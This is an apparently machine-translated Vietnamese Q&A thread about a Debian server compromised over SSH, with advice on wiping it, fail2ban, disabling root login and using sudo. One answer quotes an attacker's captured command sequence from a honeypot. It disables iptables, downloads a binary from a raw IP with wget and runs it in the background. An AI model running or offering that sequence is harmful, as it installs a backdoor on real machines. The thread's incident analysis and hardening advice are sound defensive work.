Nếu đó là thiết bị của người tiêu dùng thì mật khẩu hoặc khóa ngẫu nhiên giống nhau trên tất cả chúng cũng là một ý tưởng tồi. Như là bất cứ điều gì dựa trên số serial của nó, MAC của nó hoặc thông tin nhận dạng khác. (Một cái gì đó mà nhiều modem / router / WAP SoHO dường như đã bỏ qua). - Hennes
Nó là một thiết bị tiêu dùng. Tuy nhiên, phần lớn người tiêu dùng mục tiêu sẽ không được giáo dục đủ để biết SSH là gì. Vì vậy, SSH có thể được tắt và rất có thể sẽ bị tắt. - vaid
Ngoài ra, sử dụng fail2ban. - Shadur


Ồ, bạn chắc chắn đã bị tấn công. Một người nào đó dường như đã có thể đạt được chứng chỉ gốc và cố gắng tải xuống một Trojan vào hệ thống của bạn. MariusMatutiae cung cấp một phân tích về trọng tải.

Hai câu hỏi phát sinh: a) Kẻ tấn công có thành công không? Và b) bạn có thể làm gì với nó?

Câu trả lời cho câu hỏi đầu tiên có thể là không. Lưu ý cách kẻ tấn công liên tục cố tải xuống và chạy tải trọng, dường như không thành công. Tôi nghi ngờ rằng một cái gì đó (SELinux, perchance?) Đứng trên đường.

HOWEVER: Kẻ tấn công cũng đã thay đổi /etc/rc.d/rc.local tập tin, với hy vọng rằng khi bạn khởi động lại hệ thống của bạn, tải trọng sẽ được kích hoạt. Nếu bạn chưa khởi động lại hệ thống, không khởi động lại cho đến khi bạn đã loại bỏ những thay đổi này từ /etc/rc.d/rc.local. Nếu bạn đã khởi động lại nó ... tốt, may mắn khó khăn.

Như những gì bạn có thể làm về nó: Điều an toàn nhất cần làm là xóa sạch hệ thống và cài đặt lại từ đầu. Nhưng điều này có thể không phải lúc nào cũng là một lựa chọn. Một điều kém an toàn hơn đáng kể là phân tích chính xác những gì đã xảy ra và xóa sạch mọi dấu vết của nó, nếu bạn có thể. Một lần nữa, nếu bạn chưa khởi động lại hệ thống, có lẽ tất cả phải mất /etc/rc.d/rc.local, loại bỏ bất cứ điều gì tải về bởi kẻ tấn công, và cuối cùng nhưng không kém, thay đổi mật khẩu darn!

Tuy nhiên, nếu kẻ tấn công đã có thể chạy tải trọng, có thể có những sửa đổi khác cho hệ thống của bạn mà có thể khó phát hiện. Đó là lý do tại sao xóa hoàn toàn thực sự là tùy chọn an toàn (và được khuyến nghị) duy nhất. Như bạn đã chỉ ra, thiết bị được đề cập có thể là một mục tiêu thử nghiệm / phát triển vì vậy có lẽ lau nó không đau đớn như trong các trường hợp khác.

Cập nhật: Mặc dù những gì tôi đã viết về một sự phục hồi có thể, tôi muốn lặp lại MariusMatutiae's rất mạnh khuyến cáo không đánh giá thấp thiệt hại tiềm ẩn gây ra bởi tải trọng này và mức độ mà nó có thể đã xâm phạm hệ thống đích.


33
2018-02-01 21:06



Cảm ơn. Tôi đã quyết định xóa sạch hệ thống. Tôi khởi động lại nó một vài lần nhưng chỉ để sao chép một số dữ liệu cần thiết. Không có mã nhị phân, chỉ có mã nguồn. Tôi đoán tôi khá an toàn. - vaid
Còn các hộp khác trên cùng một mạng LAN thì sao? - WGroleau
Câu hỏi hay. Lịch sử trình bao được cung cấp không cho biết bất kỳ nỗ lực nào để khám phá và xâm phạm các hộp khác trên cùng một mạng. Nói chung, nếu kẻ tấn công có được quyền truy cập SSH (root) vào một hộp, về cơ bản nó có nghĩa là anh ta đã bỏ qua bất kỳ tường lửa nào. Tuy nhiên, nó không tự động ngụ ý rằng các hộp khác bị xâm nhập: điều đó sẽ yêu cầu thứ gì đó khác như lỗ hổng chưa được vá, mật khẩu được chia sẻ giữa các hộp, tự động đăng nhập từ hộp này sang hộp khác, v.v. - Viktor Toth


Sshd-honeypot của tôi cũng đã thấy loại tấn công này. Lần tải xuống đầu tiên từ URL đó bắt đầu từ 2016-01-29 10:25:33 và các cuộc tấn công vẫn đang diễn ra. Các cuộc tấn công đang đến từ

103.30.4.212
111.68.6.170
118.193.228.169

Đầu vào từ những kẻ tấn công này là:

dịch vụ iptables dừng lại
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Vì vậy, không có hoạt động nào khác ngoài cài đặt backdoor cho sau này.


17
2018-02-02 10:34



Đồng ý, nó là cùng một MO. - MariusMatutiae
@MariusMatutiae Vì vậy, đây không phải là một hack thủ công sau đó? Đó là một loại tự lây lan sâu / bot? - NickG
@ NickG Đoán tốt nhất của tôi là đây không phải là hack thủ công. Xác suất mà vaid hoạt động trong cùng một văn phòng với tư cách là người khởi của một botnet dựa trên Trung Quốc là gì? Ai đó đã tìm thấy điểm yếu có thể khai thác trong máy của mình, rất có thể là máy chủ ssh được bảo mật yếu, brute-buộc mật khẩu của anh ta, giành quyền truy cập, cố gắng tự cài đặt mình một cách lén lút. Tuy nhiên, tôi cũng đặt cược rằng kẻ tấn công thông thạo Windows hơn với Linux. Nhưng tôi không có cứng bằng chứng về điều này, chỉ là một đoán được giáo dục. - MariusMatutiae


Mọi người ở đây đã đưa ra lời khuyên vững chắc, nhưng rõ ràng, ưu tiên của bạn nên được sao lưu và xác minh những gì bạn thực sự cần từ hệ thống đó, sau đó xóa nó bằng cài đặt mới từ phương tiện đã biết.

Trước khi bạn kết nối máy chủ mới được cài đặt với Internet, hãy thực hiện các ý tưởng sau:

  1. Tạo người dùng không phải root mới và đăng nhập với tư cách người dùng đó. Bạn không bao giờ cần phải đăng nhập như là người chủ, chỉ cần sudo (người dùng thay thế làm) khi cần thiết.

  2. Cài đặt SE Linux, cài đặt cấu hình cho phép kiểm soát truy cập bắt buộc: https://wiki.debian.org/SELinux/Setup

  3. Xem xét tường lửa phần cứng giữa văn phòng / nhà và Internet của bạn. Tôi sử dụng MicroTik, có hỗ trợ cộng đồng tuyệt vời: http://routerboard.com/.

Giả sử bạn đang trên một dòng thời gian để hoàn thành công việc được trả tiền của bạn, ít nhất là làm # 1. # 3 là nhanh, và rẻ, nhưng bạn sẽ cần phải chờ đợi trên các gói trong thư, hoặc lái xe đến cửa hàng.


11
2018-02-01 23:32



Và, trên tất cả, không để máy tính của bạn chạy không cần giám sát với phiên gốc mở! - MariusMatutiae


  1. debian-armhf tên máy chủ của bạn? Hoặc bạn có sử dụng cài đặt mặc định với cài đặt mặc định không? Không có vấn đề gì với điều đó, nhưng bạn không nên cho phép máy chủ được tiếp xúc trực tiếp với Internet (tức là không được modem của bạn bảo vệ, ít nhất).

  2. Có vẻ như rắc rối thực sự đến từ 222.186.30.209 (xem http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). Bạn không nên chú ý nhiều khi thấy IP của Microsoft. IP có thể ít nhiều bị giả mạo / giả mạo khá dễ dàng.

  3. Một cách thông thường để kết nối với Internet là chuyển tiếp danh sách cổng đã biết từ IP công khai của bạn (ví dụ: 8.8.8.8) đến địa phương của bạn (ví dụ: 192.168.1.12).

    • Ví dụ: không chuyển tiếp tất cả các kết nối đến từ 8.8.8.8 (công khai) đến 192.168.1.12 (địa phương).

    • Chỉ chuyển tiếp cổng 22 và 25 (ssh và thư đến, tương ứng). Bạn nên, tất nhiên, đã cập nhật ssh và smtp gói / thư viện.

  4. Cái gì tiếp theo? Ngắt kết nối máy chủ và thay đổi bất kỳ mật khẩu nào (trên bất kỳ máy tính nào được liên kết với tổ chức) được mã hóa cứng trong các kịch bản lệnh shell (xấu hổ với bạn!) Trong /etc/shadow.


11
2018-02-01 13:03



1. Có debian-armhf là tên máy chủ. 2. Có, tôi đã đọc bài viết đó và tôi đã liên hệ với Microsoft qua trang web cest.microsoft.com của họ. 3. Tôi chỉ chuyển tiếp 25 và 22, không có gì khác được chuyển tiếp. 4. Tôi sẽ làm điều đó - vaid
"IP có thể giả mạo nhiều hơn hoặc ít hơn một cách dễ dàng": Tôi không phải là chuyên gia bảo mật hay mạng. Làm thế nào là có thể? - kevinarpe
@ kevinarpe Đó có lẽ là tốt hơn nhiều như một câu hỏi riêng biệt. - Michael Kjörling
xem stackoverflow.com/questions/5180557/… và superuser.com/questions/37687/… - Archemar
@Archemar: SSH là TCP; giả mạo TCP nguồn IP là khó khăn nếu không phải là không thể. Ngoài ra, như được thiết lập ở trên, Microsoft IP thuộc về dịch vụ đám mây Azure của họ, có nghĩa là bất kỳ ai cũng có thể đã mua thời gian trên dịch vụ để tấn công người khác. - nneonneo


Như những người khác đã nói, nó khá rõ ràng sự an toàn của máy chủ của bạn đã bị xâm phạm. Điều an toàn nhất là lau máy này và cài đặt lại.

Để trả lời phần thứ hai của câu hỏi của bạn, nếu bạn không thể sử dụng auth khóa công khai, tôi khuyên bạn nên thiết lập Fail2Ban và chạy SSH trên một cổng không chuẩn. Tôi cũng vô hiệu hóa quyền truy cập SSH gốc.

Fail2Ban sẽ giúp giảm thiểu các cuộc tấn công bạo lực bằng cách cấm các địa chỉ IP không đăng nhập được trong một số lần nhất định.

Thiết lập sshd để nghe trên một cổng không chuẩn sẽ ít nhất giúp giảm khả năng hiển thị của máy chủ SSH của bạn một chút. Vô hiệu hóa đăng nhập root cũng làm giảm nhẹ hồ sơ tấn công. Trong /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Với tính năng đăng nhập root bị vô hiệu hóa, bạn sẽ cần phải chuyển sang root bằng su một khi bạn đã kết nối, hoặc (tốt hơn nữa là sử dụng) sudo để thực hiện các lệnh đặc quyền.


9
2018-02-02 16:58



Tôi đã làm cả hai, nhờ lời khuyên. - vaid


Máy chủ SSH liên tục bị tấn công trên internet. Một vài điều bạn làm:

  1. Đảm bảo bạn sử dụng mật khẩu ngẫu nhiên rất an toàn cho các máy có thể truy cập internet. Tôi có nghĩa là 16 ký tự trở lên và hoàn toàn ngẫu nhiên. Sử dụng trình quản lý mật khẩu để bạn không phải ghi nhớ mật khẩu đó. Nếu bạn có thể ghi nhớ mật khẩu của bạn, nó quá đơn giản.

  2. Nếu bạn không cần SSH, hãy tắt nó đi. Nếu bạn cần nó, nhưng không cần nó có thể truy cập công khai, hãy chạy nó trên một số cổng cao, không chuẩn. Làm điều này sẽ làm giảm đáng kể nỗ lực hack. Có một hacker chuyên dụng có thể thực hiện quét cổng, nhưng rô bốt tự động sẽ không tìm thấy nó.

Đoạn trích từ nhật ký xác thực của bạn cho thấy nỗ lực không thành công. Tuy nhiên nếu bạn nhìn xa hơn, bạn sẽ không có nghi ngờ nhìn thấy một đăng nhập thành công. Nó bạn sử dụng một mật khẩu đơn giản, sau đó nó là tầm thường cho một bot để có được trong.

Bạn cần cách ly máy này khỏi mạng. Rất cẩn thận có được những gì bạn cần tắt nó, và sau đó lau nó.


8
2018-02-01 23:51



Khi tôi sử dụng để chạy ssh trên cổng 22, tôi thường sẽ có hàng ngàn nỗ lực hack mỗi ngày. Khi tôi đổi thành số cổng cao (trên 50000), những nỗ lực hack này đã hoàn toàn dừng lại. - user1751825
16 ký tự không đủ an toàn. Đăng xuất người dùng cũng rất tiện dụng. Chỉ cần không làm cho nó một khóa perm, làm cho nó hết hạn, nhưng làm cho nó một cái gì đó giống như một giờ. Bằng cách này bạn vẫn có thể truy cập vào máy chủ. - Ramhound
Lưu ý rằng bước 2) không thực sự cần thiết để bảo mật, miễn là bạn có xác thực mạnh (khóa công khai hoặc mật khẩu mạnh). - user20574
@Ramhound Tại sao không? Ngay cả khi nó chỉ là chữ cái thường, 16 chữ cái thường cho khả năng 43608742899428874059776, điều không thực tế đối với brute-force, đặc biệt là cho một brute-force trực tuyến nơi máy chủ khiến bạn đợi mỗi khi bạn thất bại. - user20574
@ user20574. Mặc dù không hoàn toàn cần thiết, việc giảm khả năng hiển thị của dịch vụ SSH vẫn rất hữu ích. Ngay cả khi không có lý do nào khác ngoài việc loại bỏ sự lộn xộn khỏi nhật ký của bạn. Nếu một máy chỉ cần truy cập được vào một nhóm người hạn chế, thì một cổng không chuẩn là một bước hoàn toàn hợp lý để cải thiện an ninh. - user1751825


Điều đầu tiên mà mọi người / mọi người nên làm sau khi thiết lập máy chủ Linux / Unix mặt trước là tắt ngay lập tức root.

Hệ thống của bạn đã bị xâm phạm. Bạn có nhật ký lịch sử đang chạy có thể rất thú vị để xem xét ở mức độ nào đó. Tuy nhiên, việc phân tích một cách trung thực các chi tiết cụ thể là một chút cầu kỳ và sẽ không giúp bạn bảo mật máy chủ của mình. Nó cho thấy tất cả các loại vô nghĩa xảy ra khi botnet sinh ra phần mềm độc hại - rất có thể là những gì đã lây nhiễm cho máy chủ của bạn - lây nhiễm vào một hệ thống Linux. Các câu trả lời được cung cấp bởi @MariusMatutiae là tốt đẹp và cũng nghĩ ra và có những người khác lặp lại rằng bạn đã bị hack thông qua root truy cập đó là giấc mơ ướt của malware / botnet.

Có một số giải thích về cách tắt root nhưng tôi sẽ tuyên bố từ kinh nghiệm cá nhân, hầu hết mọi thứ vượt ra ngoài những gì tôi sẽ mô tả ngay bây giờ là quá mức cần thiết. Đây là những gì bạn Nên đã thực hiện khi bạn thiết lập máy chủ lần đầu tiên:

  1. Tạo người dùng mới với sudo quyền: Tạo một người dùng mới với một tên mới — giống như cooldude—Sử dụng một lệnh như sudo adduser cooldude nếu bạn đang sử dụng Ubuntu hoặc một loại hệ thống Debian khác. Sau đó, chỉ cần chỉnh sửa thủ công sudo tệp bằng lệnh như thế này sudo nano /etc/sudoers và thêm một dòng như cooldude ALL=(ALL:ALL) ALL bên dưới dòng tương đương cần đọc root ALL=(ALL:ALL) ALL. Khi đã xong, hãy đăng nhập cooldude và kiểm tra sudo lệnh với một lệnh như sudo w—Cái gì đó cơ bản và không phá hủy - để xem liệu sudo quyền làm việc. Bạn có thể được nhắc nhập mật khẩu. Điều đó hoạt động? Tất cả đều tốt! Chuyển sang bước tiếp theo.
  2. Khóa root tài khoản: Được rồi, bây giờ cooldude phụ trách sudo quyền, đăng nhập cooldude và chạy lệnh này để khóa tài khoản gốc sudo passwd -l root. Nếu bằng cách nào đó bạn đã tạo một cặp khóa SSH cho root, mở ra /root/.ssh/authorized_keys và loại bỏ các phím. Hoặc tốt hơn, chỉ cần đổi tên tập tin đó authorized_keys_OFF như thế này, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF để vô hiệu hóa hiệu quả các khóa SSH. Tôi thích sau này bởi vì trên cơ hội off-hand bạn vẫn cần mật khẩu ít đăng nhập, bạn chỉ có thể di chuyển tập tin đó trở lại tên ban đầu và bạn nên tốt để đi.

FWIW, tôi đã quản lý hàng chục máy chủ Linux trong những năm qua (thập kỷ) và biết từ kinh nghiệm mà chỉ đơn giản là vô hiệu hóa root—Và thiết lập người dùng mới với sudo quyền - là cách đơn giản và cơ bản nhất để bảo vệ bất kỳ hệ thống Linux nào. Tôi chưa bao giờ phải đối phó với bất kỳ loại thỏa hiệp nào qua SSH một lần root bị vô hiệu hóa. Và có, bạn có thể thấy các nỗ lực đăng nhập qua auth.log nhưng chúng vô nghĩa; nếu root bị vô hiệu hóa sau đó những nỗ lực đó sẽ không bao giờ thêm vào bất cứ thứ gì. Chỉ cần ngồi lại và xem những nỗ lực không ngừng thất bại!


6
2018-02-07 02:34